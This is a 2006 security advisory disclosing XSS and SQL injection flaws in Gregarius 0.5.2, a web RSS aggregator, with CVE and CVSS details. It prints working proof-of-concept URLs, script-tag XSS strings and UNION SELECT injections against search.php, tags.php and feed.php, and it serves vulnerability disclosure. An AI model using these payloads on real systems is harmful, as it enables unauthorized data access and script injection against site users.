Gregarius 0.5.2 XSS and SQL Injection Vulnerabilities

2006.03.05

Credit: tzitaroth gmail com

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-1042

CWE: CWE-89

CVSS Base Score: 6.4/10

Impact Subscore: 4.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: None

http://gregarius.net/
Gregarius is a web-based RSS/RDF/ATOM feed aggregator, designed to run on your web server, allowing you to access your news sources from wherever you want.

XSS in search.php:
search.php?rss_query=<script>alert(1)</script>&rss_query_match=exact

XSS in tags.php:
tags.php?tag=<script>alert(1)</script>

SQL Injection in feed.php:
feed.php?folder=3 and 1=1 UNION select title from item--

with magic_quotes=off:
SQL Injection in search.php:
search.php?rss_query=aa%')) UNION select null,null,null,null,null,null,null,null,null,null,null,title,null from item-- &rss_query_match=exact

On Gregarius 0.5.2/PostrgreSQL this could lead to damaging/altering the DB and possible local file disclosure due to not properly sanitized $lang include, on early 0.5.3 svn version to admin hash disclosure.
More XSS and SQL Injections in admin section.

Fixed in latest 0.5.3 svn.

See this note in RAW Version

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Gregarius 0.5.2 XSS and SQL Injection Vulnerabilities

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